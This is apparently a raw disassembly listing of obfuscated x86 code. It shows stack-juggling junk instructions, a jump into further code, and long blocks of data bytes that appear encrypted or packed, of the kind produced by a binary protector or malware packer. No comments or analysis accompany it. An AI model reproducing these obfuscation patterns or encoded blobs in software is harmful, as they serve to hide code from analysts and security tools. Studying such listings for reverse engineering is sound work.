		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	60A58BFh
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, eax
		push	ebx
		mov	ebx, 8
		add	ebx, edi
		mov	[ebx], esi
		pop	ebx
		pop	esi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 0E1h, 0B8h, 1
		dd 3060A5Eh, 83E0FFC5h,	0C472A9DEh, 0E375CF26h,	0A66C83E6h
		dd 1B5DEDA4h, 6E397570h, 691074C4h, 0C04C15AAh,	0CF7C8314h
		dd 0B26383B6h, 210BCF4h, 2C7F4D0Dh, 7F464ED3h, 0CF34DB42h
		dd 0FB6C4799h, 6835A7BDh, 5F06E322h, 0E662C22Eh, 0E657B310h
		dd 0CF7149CDh, 0F8722AE4h, 0BB3F67BEh, 8A4D1E9Ah, 8D4D9D00h
		dd 0A5FB48Dh, 0E9B58B06h, 89060311h, 331D18Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C777B743h, 301E185h, 58C406h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 29EE580Ah
		dd 31CCD8Dh, 0BD85C706h, 60321h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8666C357h
		dd 6D56BE66h, 21B5BD29h, 0B5FF0603h, 60313E9h, 1CB98589h
		dd 95FF0603h, 6032691h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 1EC35646h, 0DD9D8B2Ch, 8B060305h, 0FF006AC3h
		dd 31FB995h, 0EBC08B06h, 62A14A1Eh, 0FAB37DD3h,	0E43609B3h
		dd 0A2F3F6F8h, 7FE2ECA5h, 6B534FE5h, 0CB39ED64h, 0EB444B1Fh
		dd 6D98C04h, 5B6E92Eh, 29C80000h, 0A07DC084h, 0EE0751Bh
		dd 7A12E7E5h, 0ED821775h, 0F32280C4h, 0BB29D2A7h, 2FBD42D6h
		dd 5D33B85Ah, 0CC8025C8h, 0BC55F5B5h, 710491h, 432AF370h
		dd 0B2472AA2h, 1FF65B09h, 8C63CE9Eh, 0FF9C616Bh, 6D681330h
		dd 0E5D44DDh, 8C2DB877h, 44D3D098h, 73A79D04h, 3D53543Bh
		dd 0A321CAA8h, 76EF3BF5h, 0CA770EA4h, 0A4E37CCCh, 0B259770Eh
		dd 56244927h, 0C2563BADh, 32C6AB3Dh, 9F76DB8Dh,	2F054E1Eh
		dd 0D2D25BFBh, 670EDF8Eh, 0E5430646h, 9BC9F280h, 205E5F36h
		dd 0A449C266h, 20B7770Eh, 1705B69Fh, 9814834Fh,	72AA28F0h
		dd 0B87C770Eh, 0D4788C94h, 712B996Ch, 92FAFF9Ch, 7E3CD5F7h
		dd 0D580770Eh, 6A7D5Fh,	813B0000h, 0A3E50EECh, 770E7E2Ah
		dd 0EE65C396h, 2AA2432Ah, 1778AB6Ch, 0CB696039h, 9EC25D6Dh
		dd 0D64A770Eh, 8E9682h,	149996Dh, 0EA000000h, 28A0492Ah
		dd 0BCF9B845h, 95D0A570h, 71DC8C1Bh, 8F5E189Dh,	56573FE8h
		dd 68C481CBh, 0D5DABD00h, 0A0492EB3h, 0F8827728h, 1F075CE3h
		dd 389ACE76h, 0D76FB371h, 5A2FBD46h, 255E32B3h,	2CBC452Ah
		dd 0F3F49B6Ah, 0F0FA93B7h, 9346770Eh, 1EA37015h, 3367DD4Eh
		dd 7F6D967Bh, 64B51EC1h, 0CC9CA516h, 79F7FC99h,	6C7C8114h
		dd 82CAEF81h, 0EFC91D03h, 996CC4E5h, 7E82h, 452A3D00h
		dd 0AF412CBCh, 0F7996C0Ah, 0FB94B4F2h, 41770EF0h, 0C74E1E9Ah
		dd 8C6D2569h, 0FB9C6167h, 9EE7B8F6h, 78CE0F1Ch,	927F0FE5h
		dd 1ABDF5FAh, 0F8BB326h, 0A8C0BCACh, 0E29E41F9h, 0C8874F5Fh
		dd 386C502Ch, 6D093438h, 0FC9E6F99h, 74F095F7h,	6166h
		dd 452A9100h, 0A96A2CBCh, 43707631h, 0F8506EDDh, 770EC85Fh
		dd 0DFB20EDDh, 6AB4C3Dh, 911AFB46h, 552DBF0Ah, 5C3D7599h
		dd 2A423157h, 28A049h, 770EF082h, 0B4D4D9BCh, 28A04529h
		dd 3F9FC361h, 0C1CD690h, 770EF093h, 0B28662E9h,	52728A6Eh
		dd 7731996Dh, 0EE43AD3h, 55D38677h, 147h, 4701F000h, 0EF06AE3h
		dd 6703D677h, 0EF04AC3h, 4523B677h, 0BF5D4E20h,	28CF523Ah
		dd 3580C587h, 9B7D10AEh, 4E137616h, 1558B25Bh, 88E05CD9h
		dd 16977F0Eh, 0F0951376h, 8BF0981Dh, 4B2D65A9h,	0AB36B75Eh
		dd 5CF5550Fh, 0A0770E3Ch, 34AD7D35h, 88770E3Ch,	640367DDh
		dd 67E04819h, 0D5770E3Ch, 45FFBB06h, 3C26BF8Bh,	0CF9A770Eh
		dd 3CFE97B3h, 9742770Eh, 4C073119h, 0E6757511h,	525725C8h
		dd 0B9D1AF3Ah, 28BC41D4h, 10D5AD6Eh, 0BB8910D4h, 20C5A83Dh
		dd 6F0580A8h, 583F710Bh, 0C6A83557h, 4EE2AB3Dh,	0CC0B81Ah
		dd 0CEEF86D8h, 0A7491C9Ah, 0AAB4F02h, 0C4A90742h, 0E68E5F31h
		dd 6E4EC7C1h, 27B2710Bh, 0CAAD3058h, 77D38D25h,	710B6EDEh
		dd 0C2E77D22h, 0F26DAB02h, 22E18967h, 194AEF2h,	5F2EE8FCh
		dd 88BB31BAh, 93696C74h, 31B65E2Fh, 5434BD52h, 37A1BB31h
		dd 0D2000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h, 77159A7Dh
		dd 0CCEA0BE2h, 3A525739h, 0D4B9D1AFh, 4802BC41h, 0BC867E0h
		dd 0AA06D571h, 8FD341C2h, 465520F7h, 8F5F23C6h,	9053319Ch
		dd 9369DC8Ch, 714Bh, 86F0F400h,	97E04866h, 85770EF0h, 23F598D6h
		dd 8F63CE9Eh, 9C6B7E6Eh, 27A04820h, 36770EF0h, 782DA374h
		dd 5D371E44h, 2D8FD3E7h, 6A2D4563h, 0A07EC635h,	0F3AD0B71h
		dd 32AB7F39h, 0C2770E04h, 0DD888B30h, 50C85A5h,	0E570770Eh
		dd 4D63F0Fh, 6A2D770Eh,	0B93CEBF7h, 0BD941037h,	2FB93ED6h
		dd 0C0932FBAh, 0ED0ADh,	0B9CDAB4Eh, 85A4h, 85F0DF00h, 15FF4B67h
		dd 0B751214h, 0CEA10C5Ch, 3FD6BB29h, 0AE682EBEh, 0BCC019Ah
		dd 0CE87F71h, 0BCC2C3Ch, 5387BB71h, 0FCB66F30h,	0FA93ABF7h
		dd 4799F18h, 5CD8A752h,	698B6609h, 0E05EC81Ah, 3D4A1EE5h
		dd 24C9AC52h, 0BE2ED3A1h, 6225C2Bh, 6F04DF30h, 4CD1BB2Eh
		dd 0F94404A9h, 14F99318h, 866B7D86h, 7ABACBF0h,	2D07E456h
		dd 13FB8AF9h, 0DEA91692h, 11D5900Ah, 10FFA6DCh,	18FCF256h
		dd 0EF7A74FFh, 85F0FAF9h, 9FF4B67h, 607508BAh, 920982A6h
		dd 0E0777104h, 0BE2D04h, 23BC8C46h, 99710491h, 9141DAF2h
		dd 28BF7104h, 0EB7A3C4Ch, 87E2A09h, 0C2BD9903h,	0F4701577h
		dd 6F01FE91h, 10C3FF4Ah, 0D1E84497h, 8824328Ah,	0F5D3B24Dh
		dd 40FE926Eh, 0A12BD0ADh, 2ACFA124h, 53543B4Eh,	1CA57617h
		dd 0CBA3194Ch, 0F8CD6D23h, 0B9ED4358h, 7D110EE1h, 7E069FABh
		dd 0EF7A4908h, 18E54800h, 2BB90493h, 0DEC4AF46h, 0EC11E526h
		dd 33C8E9FCh, 2BD0A644h, 0F25924A1h, 5E5F379Ah,	3B6F450Eh
		dd 656B8C63h, 0BEF8FD90h, 27A14A2Fh, 0ABA6C6A2h, 3, 2A8003CAh
		dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h,	0D90F801h
		dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68240489h, 24AFh,	68242C89h
		dd 70CAh, 68240489h, 3957h, 0B9240C89h,	1194DB9h, 8108E9C1h
		dd 9C7AF1E9h, 0C1814132h, 38A5C185h, 5459CD89h,	8324048Bh
		dd 515504C4h, 5D7481B9h, 244C3106h, 408F5904h, 8708108h
		dd 65D7481h, 582434FFh,	4C481h,	2C8B0000h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0F917D8E9h, 0A6C600FFh, 8E0B9040h
		dd 25C7CE24h, 0A650CB8h, 0FFC50306h, 39B93EE0h,	0B7B78456h
		dd 0E602572h, 78A42C4Bh, 0B5152829h, 0B78D8D71h, 6A060A66h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 2BBCC355h, 0D45FE636h, 2251BB75h,	8BD6BF0Fh
		dd 8DBD89FEh, 89060302h, 331D18Dh, 2DB50106h, 66060331h
		dd 49E8C681h, 1E185C7h,	62F00603h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 74549AC3h
		dd 0BD85C74Dh, 60321h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7B61C352h
		dd 29F4D604h, 300058Dh,	0F1B5FF06h, 6A06031Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BE6C355h, 326BDBDh,	9195FF06h, 6A060326h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E053C350h, 607C4C45h, 8AD08B66h,	958B61D4h
		dd 603038Dh, 95FF006Ah,	6031FB9h, 0DEBC08Bh, 0BE98090Dh
		dd 0DFC1A589h, 897F16D7h, 8E854h, 225B0000h, 0A2E0FA2Eh
		dd 0C18A8984h, 8B0F5Eh,	81000000h, 65EAC6h, 0BA666000h
		dd 8B66CB5Dh, 0FF3361F3h, 2D59BD09h, 148B0603h,	858B573Eh
		dd 6032EE1h, 11EA8159h,	804CA48Dh, 0EA81DEDCh, 32C3EB27h
		dd 0BE9h, 64D57000h, 28CF16A7h,	50689648h, 24CC281h, 0BD891A94h
		dd 6033265h, 313E1489h,	31B6DB5h, 7B86606h, 3EF83CAh, 1BD99D8Bh
		dd 0B84F0603h, 195EDB10h, 9ABCFF81h, 850FFFFFh,	12h, 1DE9DC8Ah
		dd 61000000h, 3B008F8Dh, 0F1D7A00Dh, 0E9F829C4h, 0FFFFFF8Ah
		dd 0F8B42962h, 0D3B952A6h, 0F9005D62h, 0C08Bh, 1ADh dup(0)
		dd 810F6000h, 2, 56B90BB7h, 6174AC9Bh, 6A9DF5h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A05597C3h, 3E91644Fh, 14E971h, 0ACAE0000h, 4892FEBAh
		dd 5C51CD80h, 27CC0C06h, 0B55D49C1h, 6060FC33h,	5F576160h
		dd 44E38061h, 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0DEF5DEC3h, 0F605DCFh, 58Bh, 0E1816600h
		dd 0BF0F289Eh, 440161C8h, 810F0824h, 8,	2840Fh,	61600000h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B4624834h, 601E76BBh, 0CD80FE8Bh, 11E961BFh
		dd 30000000h, 0ED2BA960h, 0FA4C4E6h, 1DBD8A80h,	32E518A8h
		dd 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FE77CC3h, 1380h,	8E96000h, 57000000h, 0CD7B983Ch
		dd 667DBD2Ah, 616DB7BFh, 1A8A0Fh, 8C0F0000h, 14h, 0FE9h
		dd 1ACD6B00h, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 0D98B60F5h
		dd 12E9h, 294F1B00h, 320D8D3Fh,	5D52821Ah, 0F9A7DDB0h
		dd 61DF3E37h, 8B9C08Bh,	0E974B61Bh, 8, 0F994FC41h, 0CFACD916h
		dd 0E9CE8B66h, 0Fh, 366CE3AAh, 0E5AF4421h, 0C70BA7BFh
		dd 0E980EA18h, 14h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h
		dd 0B41C6792h, 830F17B0h, 2, 0F5BFE38Ah, 5302333Dh, 58E0Fh
		dd 81660000h, 598EE3C0h, 81666060h, 6166EFE7h, 6E8h, 86050A00h
		dd 66755D89h, 6159D88Bh, 9EF8166h, 0C68BF5A9h, 0C869F281h
		dd 8B6029B0h, 0F861F8C6h, 0CE860h, 12F70000h, 98CC4F18h
		dd 0E492422Bh, 7E8D464h, 0DA000000h, 2DDAD28h, 5858605Dh
		dd 3B9EA81h, 81610BD8h,	0AC7574CBh, 13E906h, 8C870000h
		dd 761A8E29h, 58139D9Fh, 0EA1BA201h, 0B531B021h, 4820FFFh
		dd 66000000h, 0E9A5C4BEh, 6, 90CC474Dh,	8B668527h, 0FCDB5C8h
		dd 88Eh, 2860F00h, 60000000h, 0D3816661h, 10E9D1C7h, 84000000h
		dd 563E9C10h, 3B703CEFh, 4751861Dh, 0FA4FDC0h, 28Dh, 0FCF8B00h
		dd 0F52D7BFh, 0F5AF0BFh, 58Dh, 5F1BB00h, 6E957DFh, 36000000h
		dd 784922ACh, 10E833h, 5C550000h, 0E9D90D6Ah, 0B326999Bh
		dd 595BC075h, 8B66F78Dh, 9E95ED3h, 4D000000h, 238199BCh
		dd 0D9838F86h, 8AF78B66h, 0F98B66ECh, 0A8C88166h, 0AE480CEh
		dd 38F0Fh, 8B660000h, 0F3F380D0h, 0E9D8B70Fh, 0Ch, 176883D0h
		dd 0F40694B3h, 82B07C96h, 81B9F88Bh, 6602C8F6h,	4474EB81h
		dd 6870Fh, 0F9600000h, 61C88B66h, 9820Fh, 60600000h, 0DA816661h
		dd 0F6140ACh, 386h, 0DABF0F00h,	28A0Fh,	0DA8B0000h, 0BB66F98Bh
		dd 0D881D8A6h, 5EE75309h, 870Fh, 8F0F0000h, 3, 0E9CF8B66h
		dd 9, 784AEADAh, 0F04E443Ah, 0DA81668Fh, 12E8BCC6h, 9F000000h
		dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0E48058CEh
		dd 9E9F804h, 0D6000000h, 13C0FD84h, 212B4D6Dh, 66FBB70Fh
		dd 0F6F27BBh, 0CE8AD6B7h, 0CE9h, 3C007A00h, 0EB1B2913h
		dd 272DCC52h, 0C6BF0F18h, 0DAF38060h, 0AE9h, 10C31100h
		dd 31F88585h, 61CC474Dh, 0FF9D88Bh, 784h, 3BBA5700h, 583A519Dh
		dd 8B66CA8Bh, 0FCDE8BFAh, 0DE9h, 9086DA00h, 5889DBD1h
		dd 542A8AA7h, 0E8F8E2C4h, 0Ch, 55B70F91h, 1B3A2940h, 0B4270982h
		dd 5E8h, 3A2D7100h, 9B7EF27h, 0D5805E5Eh, 0DE8ACh, 2150000h
		dd 0C4D1E365h, 0D3697389h, 0E9922452h, 7, 0BCE2C35Bh, 5F1407A4h
		dd 0BE856h, 0D74C0000h,	0B293A1FDh, 183F79Eh, 0CE8166DBh
		dd 5F58E113h, 6850F60h,	0F000000h, 84h,	8B666000h, 8B966D7h
		dd 666161BBh, 665390BEh, 0E9B8EBB9h, 0Ah, 9CE86986h, 284FB496h
		dd 8B66A9C8h, 7BF580FAh, 8123E880h, 857C6FC0h, 12E9F902h
		dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h,	83A3B6F1h
		dd 5E90Dh, 0D4AC0000h, 60E6D980h, 0FD18B66h, 0E961FABFh
		dd 0Dh,	0C5FDD3E2h, 304A1289h, 0C71C48FEh, 0DF816613h
		dd 0BE9DC0Dh, 54000000h, 9C0A7E40h, 0DD20B538h,	0B8661F97h
		dd 0DB80862Fh, 0BE66601Ch, 8C0F6ABFh, 6, 0C3D6C681h, 66612312h
		dd 5D23C781h, 0A8C0Fh, 8A0F0000h, 4, 9695B866h,	8B665160h
		dd 870F5BF1h, 0
		dd 3820F61h, 66000000h,	0B70FC28Bh, 0D1B70FC1h,	24CA8166h
		dd 71BF6601h, 66D88BB5h, 0E8CA59BEh, 12h, 562198B2h, 0BA04DF38h
		dd 0CE62566h, 2115E12Ch, 0B450F3E9h, 53585A8Ah,	0B8E0Fh
		dd 6E90000h, 28000000h,	0FDD15AFAh, 816659CBh, 0FC722EEh
		dd 585h, 0F06EBB00h, 0F9601268h, 8880F61h, 53000000h, 800Fh
		dd 8B5E0000h, 10E9C8h, 0DE760000h, 4497FC0Ah, 557BC0D5h
		dd 8F40CBACh, 0D38B721Dh, 0C4EECBBEh, 0FFD4B96Ah, 0E8F8125Ch
		dd 13h,	0F07563F7h, 7305B94Ch, 20426125h, 165E48E0h, 52C82EE0h
		dd 0FE9h, 52DE4E00h, 16AB2681h,	56E10FEBh, 3C05E8F8h, 5E85B5Bh
		dd 0CA000000h, 82B7F6D4h, 0C568B951h, 5A597C90h, 56E68166h
		dd 0FA8B66AAh, 0DBF022BAh, 5820F19h, 0B9000000h, 278A2689h
		dd 52F2D880h, 0EE9h, 0C0843B00h, 807D810h, 0FB4D6C4h, 58AFF110h
		dd 58E0Fh, 81660000h, 57ACC5E3h, 0AFAFD781h, 0F5A41F9h
		dd 18Dh, 0CE81F500h, 1FD14EE3h,	0B4D9BF0Fh, 8ABDBE91h
		dd 51503E06h, 5A586160h, 0B2D98B66h, 0F38B66FAh, 88D0Fh
		dd 810F0000h, 2, 0DE95957h, 13000000h, 8F1AF1F5h, 0FB8506D7h
		dd 0B5BB096Eh, 6992B966h, 8E9h,	14354E00h, 157B8026h, 66FA8B83h
		dd 968DE381h, 9B9AB966h, 5E9h, 4E42CF00h, 81666A26h, 8B343DCAh
		dd 0AEC881DEh, 6605CB0Bh, 7723F381h, 988ACE81h,	0C38B16F4h
		dd 7860Fh, 0BB560000h, 1657D804h, 0EAD9805Ah, 0A830Fh
		dd 0BE600000h, 21817F90h, 6126F280h, 860F7BB7h,	10h, 8E9F560h
		dd 0CE000000h, 16EA5EF4h, 6162DB94h, 0DDA9D4B9h, 92D0813Eh
		dd 601B7FC1h, 13E8h, 51943400h,	31AA7065h, 0B36461EFh
		dd 56630233h, 3CCA78FAh, 1782EA81h, 665E3897h, 5361D38Bh
		dd 582ADC80h, 800Fh, 81660000h,	0E977DBD2h, 0Bh, 0A720DFB4h
		dd 65871D82h, 53AAFD16h, 0A6C68166h, 5E85A01h, 0A2000000h
		dd 76F0DF04h, 10F1D5BBh, 0B8665B06h, 0BF0FF79Eh, 0F60B1C3h
		dd 381h, 0F38B6600h, 11E9h, 8EFE200h, 4DD18ABCh, 36E0CEE7h
		dd 0BE655F3Dh, 0BE66D9CCh, 0D98A139Ah, 0F9C3BF0Fh, 14890Fh
		dd 0FE90000h, 46000000h, 0A3A4A869h, 0D0F10B29h, 0F992C93Dh
		dd 0F7817934h, 1EC18417h, 0B866FB8Bh, 0F604225h, 1284h
		dd 0CE800h, 98930000h, 3080B518h, 0C6AD3314h, 8A584309h
		dd 816661DEh, 0F8AD92E2h, 732AB957h, 0E95F3C53h, 6, 0B1979F30h
		dd 0CE9F623h, 72000000h, 4B45593h, 899326F9h, 528E2120h
		dd 78DCBA66h, 60C28B5Bh, 0C16DE281h, 0F18B0691h, 5870F61h
		dd 66000000h, 1DA2F281h, 0B1F1BF0Fh, 81D08A8Eh,	0E4B3C2D2h
		dd 0AB26B933h, 0FB8B4805h, 50FCFC8Ah, 5EF98B52h, 0E681665Fh
		dd 810F00FFh, 3, 0FC15E980h, 0C881F08Ah, 6F7C0FC9h, 66CF8B66h
		dd 66C64BBEh, 0B70FD38Bh, 0DE8B66C0h, 66D18B66h, 40B1FE8Bh
		dd 0FE9h, 798900h, 0A8993585h, 1BDE69B4h, 4F431D26h, 8E8h
		dd 8FABE500h, 0F65C21DEh, 0EE9590Fh, 0F5000000h, 0CA082D5Fh
		dd 0F31D56ACh, 0F6363B73h, 0CE8B6671h, 3FC28166h, 0C38A609Ah
		dd 61C38B66h, 0F5DA80FCh, 1E880Fh, 8A0F0000h, 18h, 12E8h
		dd 1CD3F300h, 87CAE560h, 6249DC98h, 5EDF72ABh, 58CF00E3h
		dd 9867BE66h, 0BE75BE66h, 4850F60h, 66000000h, 0F52C66BFh
		dd 0B70F6061h, 0F8B70FCBh, 6435B861h, 8B0F1922h, 2, 6EBAF98Bh
		dd 665A689Ch, 0C38CE181h, 12E9F9h, 97A00000h, 76EA3EC8h
		dd 0EAD5962Fh, 9E9E3B5Bh, 13D4BD8Bh, 9E9C18Bh, 96000000h
		dd 16CDAFDCh, 9E375955h, 9F5EBE66h, 66F560F9h, 0F61F38Bh
		dd 1988h, 14E900h, 5F290000h, 3347BB1h,	5910E73Fh, 0C53C2A4h
		dd 0E7B61DEBh, 8B0FB651h, 5, 1B0543BBh,	6021B765h, 0B12651BEh
		dd 18D0F6Bh, 0F8000000h, 0CE961h, 0B93A0000h, 0D87023ABh
		dd 0B38E267h, 0ACBB2E76h, 521C1BDCh, 5FF38B66h,	6A35B866h
		dd 5E8h, 8CB8AB00h, 0F1B1C9E8h,	0DD5805Fh, 0DE8B66F9h
		dd 820F3AB3h, 0
		dd 9C88BB57h, 605A50DBh, 8DA6EA81h, 6E81448h, 0F6000000h
		dd 77CCBC4Ah, 0C18166A0h, 615965D8h, 0C08166F5h, 11E90520h
		dd 5F000000h, 6EF7A30Ah, 23A468Dh, 0D09B5A64h, 54794527h
		dd 5820Fh, 0F1B80000h, 0E979D4D4h, 10h,	3403FB88h, 0D333920Bh
		dd 1B52885Ch, 12889C7Ah, 0DE9FCh, 0EF0D0000h, 0DC014AADh
		dd 682BCE00h, 0FCBE79AFh, 9E9h,	42F9A800h, 0C22AD048h
		dd 0BB6665A9h, 9BBA615Bh, 0F5578CBDh, 13E9h, 5C17EB00h
		dd 0E856912Ch, 29C2AAE3h, 0BC791D54h, 11335805h, 6850Fh
		dd 0D7810000h, 3AC8563Fh, 0DE41B866h, 8E9h, 3BBF4900h
		dd 91671DA2h, 1A8F0F5Fh, 0F000000h, 1481h, 0FE900h, 0EA780000h
		dd 75A2E360h, 92C5BCB9h, 0FB87833Dh, 6E9E0h, 431B0000h
		dd 5AF32EEDh, 0BB486EBAh, 0FB8B666Fh, 108A0FF9h, 0E9000000h
		dd 0Bh,	0BCB6107Eh, 4BCB5538h, 0F89C3A60h, 57D88166h, 0DE838h
		dd 0F0E00000h, 3B755481h, 0DFC5A320h, 5950844Bh, 0CE9h
		dd 38420900h, 4911CB6Bh, 0F841678Dh, 0FE9F5ADh,	0CC000000h
		dd 0F2358D5h, 37AD0A09h, 68908792h, 0E9F8FF9Ah,	10h, 46E524FBh
		dd 3FBFADC2h, 0B49C66C3h, 0D8B6A48Dh, 0DE9h, 0CBD6C500h
		dd 55E1EC52h, 97E517CAh, 13E9EDB7h, 77000000h, 6BC8DAB2h
		dd 33948E3Bh, 1E8942Dh,	0EB93C8D2h, 0BF0FC26Ah,	8BD88BD0h
		dd 0CEBF0FFEh, 8AC2BF0Fh, 5890FECh, 0B8000000h,	20168396h
		dd 0D840Fh, 8E90000h, 0DA000000h, 2420660Fh, 52D9BE68h
		dd 5ECE8B66h, 60CBBF0Fh, 10E8F98Bh, 92000000h, 260AC873h
		dd 0ED4B762Eh, 2EFC7306h, 5E129DECh, 64F78161h,	66206AD2h
		dd 800FD78Bh, 6, 1D44CF81h, 56BA3652h, 0E80ACD88h, 0Eh
		dd 0E7B13378h, 0AC2C6962h, 98037F50h, 0BA66D268h, 0B15BB1F3h
		dd 5FEE8109h, 8A2A8CC0h, 0AE860ECh, 12000000h, 7A59F0Eh
		dd 0F77213CFh, 7E947h, 0AFA30000h, 6296A28Ah, 8B665F82h
		dd 0FCBA61D6h, 6047C9D4h, 0E7D08166h, 0DA8B618Ah, 0C6F08166h
		dd 0B2BF6627h, 10810F7Eh, 0E8000000h, 8, 0C082F08Bh, 0B7341FAEh
		dd 0F5BC38Bh, 381h, 0F18B6600h,	6245CA81h, 880F07D1h, 14h
		dd 0CFB70F60h, 0AE9h, 326D1600h, 0BDE184BAh, 61DABFA2h
		dd 7E9C38Bh, 0C8000000h, 0D1B24CF3h, 5DB11B05h,	402FD281h
		dd 0DAB4220Eh, 7D6406BAh, 0DB9662Eh, 0CA8B66F6h, 0F78B5DB4h
		dd 8025CA80h, 0BAB381E9h, 8153D38Bh, 0BE52E7EAh, 0E8F95F52h
		dd 13h,	838B1488h, 34FCE1F5h, 22220712h, 0D9B773AFh, 6009EA93h
		dd 5E57D18Bh, 0B8665B61h, 0BFBAAB3Eh, 0E814182Fh, 0Ch
		dd 9ED7179Ch, 0ADC9AE82h, 0C29B5CB4h, 840Fh, 0B35A0000h
		dd 2CE88167h, 6623C8D4h, 81FB8DBFh, 0D3F239C2h,	5870F40h
		dd 0BB000000h, 40935CC0h, 0C18BD18Ah, 81F7B70Fh, 0F80A6AEFh
		dd 0B810F2Bh, 60000000h, 95EF181h, 0C8806895h, 81666136h
		dd 0B7F9F1C9h, 0C881660Ch, 7E86E0Ah, 0E8000000h, 6DE4616Fh
		dd 0E857F4C8h, 9, 0E026F4D6h, 1EF9CCDEh, 5E5E5E3Eh, 28D98166h
		dd 0F3C281CAh, 8B7F3C50h, 0C810FC8h, 0F000000h,	68Eh, 3AF08100h
		dd 53131696h, 71B86660h, 4496BA38h, 5A61659Bh, 5E9h, 14D1300h
		dd 0EC8AE97Dh, 1FE6B966h, 8D0FC88Ah, 0
		dd 0B800F60h, 0E8000000h, 5, 1FCFCE9h, 61F9589Eh, 10E9h
		dd 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h,	0D78B6665h
		dd 66CF8B66h, 0F8EAFBEh, 2083h,	6E800h,	0DE080000h, 34493664h
		dd 0FE9h, 25FAB500h, 6D3ED502h,	0AFA788Ah, 0C12E0BF0h
		dd 14E95Ah, 0BD770000h,	0C72390E8h, 0AE60FF20h,	0C568D17Fh
		dd 0BE0A3076h, 800FCC0Bh, 4, 61616060h,	0BF0FDA8Ah, 7E8CEh
		dd 0C8C50000h, 0AFB719DCh, 15F4BEFEh, 0F583F81h, 8Ch, 800F00h
		dd 0F8000000h, 2B6BBB66h, 8980B9B9h, 0E981667Dh, 7E937EAh
		dd 21000000h, 0F2D6DA28h, 0BE66200Bh, 0B8669A05h, 0B70F3445h
		dd 538EB8D7h, 81662FEFh, 0B2EDB2F7h, 0BE932h, 57D70000h
		dd 916F9890h, 55937217h, 380CBFB4h, 800F5AB2h, 4, 685ABA66h
		dd 816660F9h, 0E86C58C9h, 13h, 0DEEC218Eh, 1F952C20h, 0C4810095h
		dd 9FBF4DB9h, 602A726Ch, 8A615B61h, 0D0B70FC2h,	6E956h
		dd 626B0000h, 87E1EE05h, 7ED7B85Eh, 0AFB86BD7h,	0F9656B2Eh
		dd 12800F50h, 0E8000000h, 0Ch, 5AC8A335h, 2600347h, 0FA95C02h
		dd 0E9605A5Fh, 0Ch, 1F5EE37Ch, 392E53E4h, 0E2F80056h, 0B86661FCh
		dd 9E90CA7h, 0E7000000h, 0D3C0BDDFh, 0CD55625Bh, 9DB54BB4h
		dd 6E8h, 2A655300h, 817CD785h, 5DA833D7h, 8B665E37h, 12E9FEh
		dd 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h,	0BA6B39CDh
		dd 8B66CF8Ah, 12E8FEh, 9AB30000h, 0C5A0ABC8h, 0F5D8BFEh
		dd 325DF423h, 85D8EECAh, 0C8E0Fh, 7E90000h, 0CF000000h
		dd 0C10C1164h, 665AB7C0h, 8F0FFB8Bh, 1,	12E9F9h, 6B250000h
		dd 4D026D26h, 2677229Ah, 1D065F1h, 83BCCFEAh, 0ECC08166h
		dd 0FBB866FBh, 830FF5BAh, 2, 0BF0F6160h, 0B70F52D3h, 7E859FFh
		dd 0C4000000h, 0AF493370h, 0BE660090h, 6659ACD1h, 6653D78Bh
		dd 3047D181h, 11E9605Eh, 0FF000000h, 0B0121F9Ch, 1B0AA7D8h
		dd 0A195F6B2h, 0FECFBC3Bh, 82E103BBh, 0E852616Ah, 14h
		dd 0C47FFB54h, 1E8E65AFh, 8B7B2E25h, 4886E18h, 0AE2CC30Dh
		dd 0BE9h, 0F5ECC600h, 0BF2F5534h, 32A40981h, 0CD805F5Eh
		dd 6840FD4h, 81000000h,	0A37DC8E1h, 1085B901h, 8D0F5A5Bh
		dd 4, 0CF64B866h, 3C9E781h, 8A0F05FAh, 3, 8146ED80h, 0E9DC89F1h
		dd 5820F31h, 60000000h,	61EF8AF9h, 14E8h, 889B7200h, 4C6DE0ABh
		dd 0B7BAEE4h, 393204Bh,	9ADBECCCh, 83EFBB60h, 0BA58115Ch
